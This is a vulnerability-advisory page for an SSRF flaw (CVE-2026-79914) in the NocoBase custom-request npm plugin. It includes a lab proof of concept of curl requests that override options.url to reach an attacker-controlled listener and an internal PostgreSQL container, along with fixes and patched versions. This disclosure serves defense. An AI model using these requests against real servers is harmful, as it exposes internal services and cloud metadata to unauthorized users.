NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2026-79914 — @nocobase/plugin-action-c…

MEDIUMFix: nocobase/nocobase@037dade

CVE-2026-79914 is a medium-severity (CVSS 4.3) Server-Side Request Forgery (SSRF) vulnerability in @nocobase/plugin-action-custom-request. A fix is available for @nocobase/plugin-action-custom-request — see the affected versions and patch details below.

NocoBase: SSRF in customRequests:send via runtime options.url override

Also known asGHSA-wrr5-j383-f7h2
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
📦@nocobase/plugin-action-custom-request📦@nocobase/plugin-action-custom-request

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.

A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.

  • Product: NocoBase
  • Version: v2.1.10
  • Component: @nocobase/plugin-action-custom-request
  • Severity: Moderate
  • Required privilege: authenticated low-privileged user / member

Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.

Lab environment:

  • Docker image: nocobase/nocobase:latest-full
  • Commit: 23e2bd35625439594e4757bac31d57c9e8e695b9
  • Database: PostgreSQL 16
  • Containers: nocobase-lab, nocobase-postgres
  • Docker network: 172.19.0.0/16
  • Important environment variable: SERVER_REQUEST_WHITELIST was not set

Details

The vulnerable endpoint is:

POST /api/customRequests:send?filterByTk=<key>

The customRequests:send action is allowed for any logged-in user:

// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');

The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:

// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
  ...(requestConfig.options || {}),
  ...omitNullAndUndefined(runtimeOptions || {}),
};

const { url, ...options } = mergedOptions;

The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:

{
  "options": {
    "url": "http://attacker-controlled-host:18080/ssrf-proof",
    "method": "GET"
  }
}

If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:

// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;

if (!whitelist || !whitelist.trim()) return;

As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.


PoC

Step 1: Admin creates a valid Custom Request config

First, an administrator creates a valid Custom Request config. This is a setup step only.

BASE="http://127.0.0.1:13000"

curl -i -s -X POST "$BASE/api/customRequests:create" \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  --data '{
    "key": "report-ssrf-demo",
    "options": {
      "url": "https://www.example.com/",
      "method": "GET"
    }
  }'

Expected result:

HTTP/1.1 200 OK

If the key already exists, this setup step can be skipped.

Evidence:

<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />

Step 2: Start an attacker-controlled HTTP listener

On the attacker-controlled host in the local lab:

mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0

Example attacker host IP in the local lab:

192.168.1.139

Evidence:

<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />

Step 3: Low-privileged user triggers SSRF by overriding options.url

The low-privileged user calls customRequests:send and overrides options.url at runtime:

BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"

curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
  -H "Authorization: Bearer <LOWPRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  --data "{
    \"options\": {
      \"url\": \"http://$KALI_IP:18080/ssrf-proof\",
      \"method\": \"GET\"
    }
  }"

Expected response:

HTTP/1.1 200 OK

SSRF OK - request came from NocoBase server

Evidence:

<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />

Step 4: Attacker-controlled listener receives the server-side request

The attacker-controlled HTTP listener receives:

GET /ssrf-proof HTTP/1.1

This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.

Evidence:

<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />

Step 5: Internal service reachability test

The same low-privileged user can target an internal Docker service:

curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
  -H "Authorization: Bearer <LOWPRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  --data '{
    "options": {
      "url": "http://nocobase-postgres:5432/",
      "method": "GET"
    }
  }'

Observed response:

{"message":"socket hang up"}

This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.


Impact

A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.

Potential impact includes:

  • internal service enumeration
  • access to services only reachable from the server-side network
  • Docker host gateway reachability testing
  • reading responses from internal HTTP services when response bodies are returned
  • potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
  • use of the NocoBase server as a trusted network proxy

Confirmed in the local lab:

  • attacker-controlled HTTP listener received a request from the NocoBase server
  • internal PostgreSQL container nocobase-postgres:5432 was reachable
  • Docker host gateway reachability was confirmed

This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.


Recommended Fix

  1. Restrict customRequests:send to administrators or specifically authorized roles.
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
  1. Do not allow low-privileged users to override stored request URLs at runtime.

  2. Require SERVER_REQUEST_WHITELIST by default in production Docker images.

  3. Block private/internal IP ranges by default, including:

127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
  1. Resolve DNS and validate the final resolved IP address before making the outbound request.

  2. Revalidate the target after redirects.

  3. Add SSRF regression tests for:

localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nocobase/plugin-action-custom-request≥ 2.1.0-alpha.8&&< 2.1.152.1.15npm install @nocobase/plugin-action-custom-request@2.1.15
📦npm@nocobase/plugin-action-custom-request≥ 2.2.0-alpha.1&&< 2.2.0-alpha.42.2.0-alpha.4npm install @nocobase/plugin-action-custom-request@2.2.0-alpha.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/plugin-action-custom-request, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @nocobase/plugin-action-custom-request to 2.1.15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79914 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin. A low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs. * Product: NocoBase * Version: v2.1.10 * Component: `@nocobase/plugin-action-custom-request` * Severity: Moderate * Required privilege: authenticated low-privileged user / member Testing was performed o
O3 Security · Impact-Aware SCA

Is CVE-2026-79914 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-79914: SSRF — Fixed in 2.1.15